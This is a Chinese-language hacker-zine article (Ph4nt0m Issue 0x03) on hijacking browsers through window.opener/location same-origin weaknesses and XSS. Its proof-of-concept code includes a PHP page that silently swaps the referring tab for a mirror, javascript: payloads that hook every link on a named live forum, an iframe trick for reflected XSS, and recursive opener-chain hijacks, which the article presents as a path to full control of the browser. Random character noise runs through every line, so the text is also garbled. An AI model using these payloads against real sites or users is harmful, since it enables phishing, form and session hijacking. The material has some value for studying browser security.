==Ph4nt0m Security Team==. y6 w* W0 a3 K8 F, z6 ~) f
- `1 N) {: N( W0 Q4 y
Issue 0x03, Phile #0x05 of 0x07
6 n" Z: j; L5 D6 e+ L
! _8 b3 X: |! V- g# q0 N8 b% g4 n' @9 E- S) b* ]
|=---------------------------------------------------------------------------=|
1 q4 g/ @' k, F3 A1 h4 U0 C|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|+ w! V' L6 Q6 r; W2 A( f
|=---------------------------------------------------------------------------=|
+ Y" r9 _. L7 R- D8 M# [|=---------------------------------------------------------------------------=|# X$ }9 N0 D/ G6 {
|=------------------------=[ By rayh4c ]=---------------------------=|- x# r3 `% i5 W% B
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
( m9 v; b6 Z4 B2 b; f|=---------------------------------------------------------------------------=|7 ~$ F$ n( ?* L6 X C; |/ B
# i9 y, _. N/ M3 v# i+ S+ N; f3 m% g! k% r$ L R1 D1 s
[目录]
. Z! I, D& A% H$ E/ A$ T2 \2 T% B7 T5 g' M4 _
1. 前言
1 l; b/ ?5 G' Z* h, p2. 同源策略简叙
/ P2 n4 d! I( K0 U) @, Y, w3. 理解window对象的同源策略 ~! s) P4 t* ~4 q A
4. 窗口引用功能中的同源策略漏洞
! f0 Q, P' R a6 ?( F/ U3 V 4.1 父窗口引用子窗口的同源策略问题
+ ]) w. V( \# Q2 K0 a 4.2 子窗口引用父窗口的同源策略问题 m& U* [: k: u# I7 P% G! e# `
5. 利用窗口引用漏洞劫持浏览器
7 n7 ?4 \ ^. z; f$ W6 a6. 利用XSS漏洞劫持浏览器
( I/ E& m7 ^; a3 x8 e% E: k 6.1 正向跨窗口劫持 D+ k& P# L) G6 b5 K
6.2 反向跨窗口劫持7 I* V( Z/ R3 B3 B, W
6.3 极度危险的跨框架窗口引用劫持
6 Q9 }; `& u) X" A 6.4 极度危险的正反向跨窗口递归劫持
! G3 R4 _: E- \- }0 L5 c 6.5 完全控制浏览器
& `' C0 E& U6 U8 u1 B( u7. 后记/ ?0 A: p( d6 e5 d5 E
8. 参考
9 j+ L" u$ _) R4 n$ Y! V& M7 p* B3 v8 X
/ l) N9 L# M+ e) L6 |
一、前言 X% X4 U( E; K* \" c
5 j: ~; ^# l+ q- u& p
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
}5 B7 Z* T+ m% t友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
2 Y _8 L, F# G劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
/ \, U! {0 O. p1 }- s! q [条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
$ A6 l7 f$ ]$ d' U8 @1 f7 ]' V Z4 l
. E% z. U3 w7 W7 B8 h0 U
二、同源策略简叙
& Y2 P, G+ N H7 t% P/ U8 `6 u8 E) \/ S( \7 k0 i: [1 o
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以3 n: o' m. U5 _! O. E
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都5 n9 l8 M8 v# }
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木( j# A7 I" F: n- m! a) M' y
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
1 s V, k' J" `7 m/ q漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
/ J0 r3 x% L0 V, e. t/ k) ~, t4 @' C7 F+ ^& r* ]. l
$ z: }- Z0 G$ O8 a3 ~2 L- ?
三、理解window对象的同源策略# \3 C/ k+ _% x P$ g N
2 f# m. A% d9 [7 h7 x1 J- \ 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
0 y- N1 X- N0 U3 I6 A象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:, M+ } K" d+ k2 n( y4 f
+ r3 s0 u0 ^" I1 k
--code-------------------------------------------------------------------------7 W: h1 F ?' }. J- n8 G
<script language="javascript">
/ V: h1 }" K* p6 k/ O6 ~+ C! jfor(p in window) document.write(p+"<br>");
9 G2 ~& r& b7 |: U' Q</script>
' i9 R! P5 i, e$ O0 w' ^-------------------------------------------------------------------------------, o( c) l( M- e( l7 b; \2 c
: E0 E- D2 r1 @" E/ O9 g
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
" @0 k+ L1 R$ z1 }' M法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,; M2 G9 g, c+ M0 M) V; K! w
这些属性和方法就必须遵循同源策略。
1 K) B: S& W% c& x, Y7 ?
: N+ c8 g: `0 x 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
+ h; i* p) \+ w) f/ d+ n2 m么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
. w4 X& m' k' O3 v! }( X; ^2 p的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这& N! N+ B- w; T7 i9 X' B
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
; ]7 f+ W( R& e& {值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
1 {" Z: O0 J G' I属性并没有被拒绝访问。) b9 ]9 V! N5 `3 w: x. S# r) x
1 f8 ?4 Q; ~. {3 c, N8 z1 H; s* \--demo.html--------------------------------------------------------------------
. o- [0 a1 `+ R: f* h+ z<script language="javascript"> 1 e1 A1 `- v, ^, C/ E* y0 q
function allPrpos(obj) {
7 Y# c F/ `/ W; }- r1 Y% E* J" W+ Y var props = "<table><tr><td>名称</td><td>值</td>";
8 K: |$ G# f% D) X5 \ y K for(var p in obj){ ( X% \) S" G/ u. T
if(typeof(obj[p])=="function"){
2 p0 [9 @# g' i) {0 m obj[p]();
( n. v. { g" o. A% D }else{ D% c) J3 b( S# F1 K, b
try
; {& `% D, a, I- R8 w+ D {
& v+ O$ e. R( i3 i props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
( Z: c( i3 J2 B3 M# l' x. a0 T } - H+ B+ o) m2 M
catch (ex)
6 W+ N5 a0 B# O9 j1 Y: W {
- W5 X! s! ]% h/ N" K$ U, O1 k # S$ [7 g* ^2 a+ `1 @( |
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; ) a" J* w6 U8 A0 H" n8 O! J
}
( a8 m% c' q) z/ Q6 h& C& m $ N6 ^% C! H7 g4 l
} 4 p2 Q K) [: v/ T8 }. G
} & y8 b9 a+ Z& L: q$ u. ^* Y
2 I+ o2 X1 \4 m8 i( r
document.write(props+"</table>"); - ]" h# e# ~* K F8 u$ }4 A* E% X
}
. t3 q$ E% g w6 U- ]! a
7 r5 d$ k" F, R1 lfunction createWin() {
5 q/ V' b" a. J: g, R0 B newWin = window.open ("http://www.google.com");
( W, ^) u' n: a, p+ i& Q* l# b6 j0 b* S setTimeout(function(){allPrpos(newWin)},2000); " o1 Z% \+ g% b- S
}
/ m: _$ o7 j3 F
. X- n/ f' U+ w. S/ z</script>
. \! o9 @0 o& u" s$ O6 P- @( [8 ~6 K, p
<button onclick='createWin()'>创建一个非同源子窗口测试</button>5 O. o/ F6 @# B; U/ U
-------------------------------------------------------------------------------, I/ S+ R! f4 c1 O
T4 ]! U, W6 O4 w$ B
" F( r( F- k$ E: g- E四、窗口引用功能中的同源策略漏洞
; l) d# D) i9 u# w
& u2 Y) m" K' O) ^9 X4.1 父窗口引用子窗口的同源策略问题
4 P% A) g! r8 n
* V) Q: [9 E! u. L 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
, }- J- c7 h! A. H) T; \. ~但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
g. U# q* }5 X浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
* r- Z; L$ ~9 u5 C5 e行测试,会发现父窗口可以控制非同源子窗口location属性值。
+ Y# Q+ m2 M5 d/ K# Z0 q$ Y8 C* h$ C# k
--vul1.html--------------------------------------------------------------------: ?9 C' y' E/ x4 r+ K+ c5 b0 K0 I
<script language="javascript"> 8 h% W$ u/ f+ C! G( t
function createWin() {
4 B+ ~, D6 y5 o4 u newWin = window.open ("http://www.google.com"); 1 j; g2 D; x* ^/ n- K6 J. T8 V4 y
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); - ^; d5 Q4 ]/ P% |1 i7 O
} * @" k6 }# ]1 X4 B% _$ B4 e/ T( T/ j
</script>, r5 i! ~% a& [9 i" c; @
6 H9 N- R* N) O1 P9 x; X<button onclick='createWin()'>创建一个非同源子窗口测试</button>
8 r9 y3 M9 `& ~9 {-------------------------------------------------------------------------------! x# n" w; D/ L, w" r( o
/ I; N9 O6 l3 s g) m+ y: X- F+ \
4.2 子窗口引用父窗口的同源策略问题/ C3 E+ A. x [& n3 ^5 A% z% H
' T) n p$ h$ N; t ^) L 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
4 ^( F- ]$ m; Y! G$ T用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们7 Z B2 j1 q1 G2 l0 P9 v% @9 n
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定1 i. U* h6 {1 A1 N" E- v
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。' A* i" O2 z, P( n! o
! ^+ _% h4 `+ h$ a% s# J+ {--code-------------------------------------------------------------------------
( F; y3 K# E/ D% L# p9 `6 P
+ s& _6 H& I! r- |javascript:window.opener.location = "http://www.80sec.com";void(0);
) k; ]9 B; ~) ]/ i2 P7 n! p
; Y; S6 K8 m, R' ]/ P2 o. K-------------------------------------------------------------------------------
3 c2 `6 |/ T/ Y( B: t
$ D" A8 W; w a* S" e r3 B- E0 \8 P( c% V: e, |' `
五、利用窗口引用漏洞劫持浏览器9 l: V9 F& V4 U( }" {. [
. P% t7 A/ ]/ a& B& D/ g& O& z" q
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子& q/ d. ^) C, H+ z
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那 @. Y6 ?, l+ Q. y7 h+ y1 f
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
% ^$ P" ]3 g# q$ H) B8 c% A( R# h* b3 g7 w, v7 w
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产3 n- y5 \# n9 w0 P
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
1 S: a$ ?8 V: @' j( i者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接 I5 |2 o; ?: G1 k
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
+ M7 Q7 \) s# N会产生什么可怕的后果。3 O% N$ P4 }1 s/ C
# E! Y0 i$ o# P7 ? 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
3 y. o1 R- z/ F! Z% f `# t2 t们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
4 I3 A8 ?0 k% o( a; c这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时( s8 |0 ^8 @0 Y1 w2 ^/ |
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
( q, R: _ S0 U! [以做更多的事情,所有的一切仅仅是因为点击了一个链接。1 b' P% V6 f( S1 W
/ Q9 p7 i0 V: r1 ]! u--hjk_ref.php------------------------------------------------------------------
/ r, B2 |+ y+ F8 V( o2 R<?php- v! |/ l: ~' C, v. ]4 Y5 F, d. B- n- m
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
* p& j+ k5 `, G# y$Url_Mirror = $_SERVER["HTTP_REFERER"];; H4 t& }) Y% L7 h q
} - Y8 Z9 Q8 K: F- H( G
if(isset ($_GET['ref'])) {8 L1 }, W4 W7 b
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';+ t: W' f9 H5 Q+ x6 Y6 t
}' ?2 E. v* t( y1 e/ A
?>& C' r2 X$ l+ h2 t9 r
" e3 `& i0 _. ] A, u$ t
<script language="javascript">& q( J" x! V. k
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
1 S2 q6 e! ^+ p& v0 r2 G</script>. D- J3 X' {2 L# y3 n( B
-------------------------------------------------------------------------------8 h, Q( D( `$ {; e- v- ?# Y$ k
2 r }* r- f6 P1 S" i E 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。3 k, b2 Q0 P3 |. ^0 w% ]8 o
. k8 V& O7 |% D0 e7 o7 Q5 \$ y% [0 q5 n/ C
六、利用XSS漏洞劫持浏览器, u* `: v6 X" G& R- X: q: Y% I
$ R7 ?$ }7 b& m: q' ]' C 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
" I( L! Y7 b r, h持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
4 C9 b) b3 J* ?+ hXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起( c& u- W' g; ^
讨论跨站师的终极技巧:
' t7 |: A# ]& ~1 C! L4 ?& |) v* O1 P% |" ^1 Q
; p6 o- A7 L6 w0 k/ z. S
6.1 正向跨窗口劫持
4 b% r* o, Z, k1 z/ J5 s4 u" L% ]7 V& m9 ~" Y }0 S: g6 f
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
& M$ ?$ ~/ y; J) E& a9 e主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
/ g; X: R+ c# D5 |- b4 l接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
, w5 a5 l' O1 s6 Y9 z0 f$ b/ b) T框脚本。 ! c4 l, R0 E) a7 n( D2 l
! H% U( c* t& x# \9 D. M& c+ b--hijack_open.js---------------------------------------------------------------
X3 E9 J4 t0 o* }2 H- n
7 p" V$ b ?( S8 ]- j$ w$ ~# v" mjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
% [# _! `1 i# V; p2 c6 R; D
& H& ]0 J+ e l: ^9 `-------------------------------------------------------------------------------( N; p( s. \: s; E9 P0 k1 @. l' ?+ C
0 |* k9 y/ ~3 X, _: t# z3 q
$ c$ K5 \, O0 l5 @) s0 x6.2 反向跨窗口劫持/ j% J2 y. _& D' h
" h1 f- ~2 g/ o; L+ u# S+ r 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
4 N' T, W$ S4 K, e) ?0 K2 Q+ i码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
* [; k+ t/ Z4 J6 d框脚本。
# j( O/ b" D) l }, |8 k& N& {, H" c
" |$ r# G$ k9 d( P) P" D--hijack_opener.js-------------------------------------------------------------
4 [. `" K# c: g$ G! S- J7 {, Q
5 h' p* f5 n4 b vjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0); d. i' @; W+ n$ L
; \) }) F; }% s2 `7 G5 u6 W' w! Y9 e& w
-------------------------------------------------------------------------------, k* I6 } Z4 s8 U0 R* @: Z6 H
, K* \ {) | R! r' c: }
: e5 i3 L' P# |& }9 a% Q
6.3 极度危险的跨框架窗口引用劫持
* }2 B8 T4 A9 l8 y8 A- {, G" g1 ^" w6 l- u' `. r8 s9 A; U W
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞7 Y# `2 v+ @9 r4 |# F9 Q
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就1 l9 M* ^' X% F$ X
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个% F2 D; e# A% K6 @" N
非持久型的XSS,如下:. t9 s8 u" ?+ w( `4 W
5 k9 a# \0 B- `* x S<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
& ?1 y1 F7 \: M0 e- n* n$ d2 u8 h4 c6 S, ?& t0 q- U1 H
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口1 _7 g; K/ J( h' s6 d9 M
注入脚本。 Q# c7 p O/ E+ z' B
& s. s& J: F2 F9 f' s
--hijack_frame_opener.js-------------------------------------------------------+ s2 b/ t: y. P6 @0 Q4 F3 T
<script>7 W1 `" x0 r/ N) c5 u
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
+ Z, U5 a: E {- W/ d: N1 j, w</script>
0 P- C# z! L+ S3 W# ]/ o-------------------------------------------------------------------------------
! @5 I: y$ P0 u! M p7 e
" }1 t0 i* x9 \: N* Z
1 M5 N( x6 b2 B5 g& n2 K5 D6.4 极度危险的正反向跨窗口递归劫持
# g+ x3 F2 u* C! C
" n( c: t2 A* e/ d luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window. D, u/ K0 e3 a* L- _- d( ~6 M- j; H
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过7 g6 t' M& \( P
异常处理规避之间跨域页面的访问异常,代码如下:" u) k& C; |, e9 N! \
G' n9 W0 R. w5 b--code-------------------------------------------------------------------------- H9 f, o# O& }# e! d/ Y
% J0 k) {! n6 h# w$ `% Wjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);' H+ S& [ e2 k0 y! V
. [% Y, p, X7 y% L; B$ k& w- w
-------------------------------------------------------------------------------
# e8 a' n$ a; @% A2 n' x7 [2 n$ Q: g4 U# S
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
( i/ Y" D8 p8 q+ N3 |1 p以劫持B域之前的A域页面,从而实现“隔空打击”。8 u7 p0 T6 V( G7 G6 k1 ^; v5 C9 Y
# X7 c$ O: A- A7 c ? 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面- q: F) I& r. v" E2 L
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
1 t; U- D% \( w* B8 Q! [3 E3 N% z# @: T+ M
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。+ H3 H$ n8 e/ p' N5 G6 t
, f+ V1 m: ]. P4 ^8 D
. {4 B, m& F9 l; l6.5 完全控制浏览器- Y; k. E5 J4 D T4 z: j' q
4 f, Z! L, z5 }' J& u: `2 B
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则- Q) d8 I* b" N+ N2 |
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS4 Z8 z- f6 M+ f0 B1 ~8 `) S
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
' W. \2 M, ^, q+ `% B" J! P! l而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再4 w; R$ g4 Y( Y/ n* ^" a* t+ ^
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站/ n! s6 @* T# ~
师的终极目标 - 完全控制浏览器。
. P( X/ p" @* h, a# m5 J5 x9 p J; U7 G& o3 p
3 s5 N, P, V) U$ w% e
七、后记/ t8 T, V& E* E3 A
& g; h. K3 p2 J( K# C/ V, h& _! J 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
1 n' G- \; C& s# C' [与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予* |8 s8 T4 y7 f' |! R# f( o
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。; g% [8 v4 V5 ?' O4 s* v
4 A% x! Q' N; b- X; |
- w/ T- D% R( N, c" s% u' k八、参考
+ [7 A9 ]; C6 [3 |( B$ i g E' z: {" H1 u. y6 d" v
1. http://en.wikipedia.org/wiki/Same_origin_policy2 p4 f8 b2 B' K
2. http://code.google.com/p/browser ... licy_for_DOM_access
& G: J9 g% e$ ]" N1 G. b/ w3. http://www.w3.org/TR/Window/, X- r+ Q1 z8 W3 c+ p
4. http://www.80sec.com/release/browser-hijacking.txt8 U+ n- Z* ]5 [$ Y6 n8 l& W
5. http://www.80sec.com/all-browser-security-alert.html: e) x7 G& C& {' y
6. http://www.80sec.com/ms08-058-attacks-google.html: w* \/ o% K a+ ~# W9 [! F
! r; }1 ~4 k$ t/ Y% d. `-EOF- |